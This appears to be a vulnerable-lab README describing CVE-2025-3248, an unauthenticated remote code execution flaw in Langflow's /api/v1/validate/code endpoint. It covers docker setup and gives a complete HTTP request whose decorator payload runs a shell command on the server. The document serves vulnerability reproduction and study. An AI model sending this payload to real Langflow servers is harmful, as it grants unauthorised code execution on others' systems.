Aaron
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47 lines
2.2 KiB
Markdown
47 lines
2.2 KiB
Markdown
# Langflow `validate/code` API Pre-Auth Remote Code Execution (CVE-2025-3248)
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[中文版本(Chinese version)](README.zh-cn.md)
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Langflow is a popular open-source tool for building agentic AI workflows, providing a Python-based web interface to visually construct AI-driven agents and pipelines.
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A critical unauthenticated remote code execution vulnerability (CVE-2025-3248) exists in Langflow prior to version 1.3.0. An vulnerable endpoint (`/api/v1/validate/code`) attempts to validate user-submitted Python code by parsing it with the `ast` module and executing any function definitions using `exec`. However, Python decorators and default argument expressions are also executed at function definition time, making it possible to inject arbitrary code via these features.
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Attackers can exploit this issue by sending a specially crafted function definition with a malicious decorator or default argument, resulting in code execution as the server user.
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References:
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- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
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- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
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- <https://github.com/langflow-ai/langflow/pull/6911>
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## Environment Setup
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Execute the following command to start a Langflow 1.2.0 server:
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```
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docker compose up -d
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```
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After the server starts, the Langflow web interface will be available at `http://your-ip:7860`. You can login with the default credentials `administrator:vulhub`.
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## Vulnerability Reproduction
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To reproduce the vulnerability, you can send a POST request to the `/api/v1/validate/code` endpoint with a malicious Python function definition. For example, the following payload will execute `id` command on the server using a decorator:
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```
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POST /api/v1/validate/code HTTP/1.1
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Host: your-ip:7860
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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Content-Length: 105
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{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}
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```
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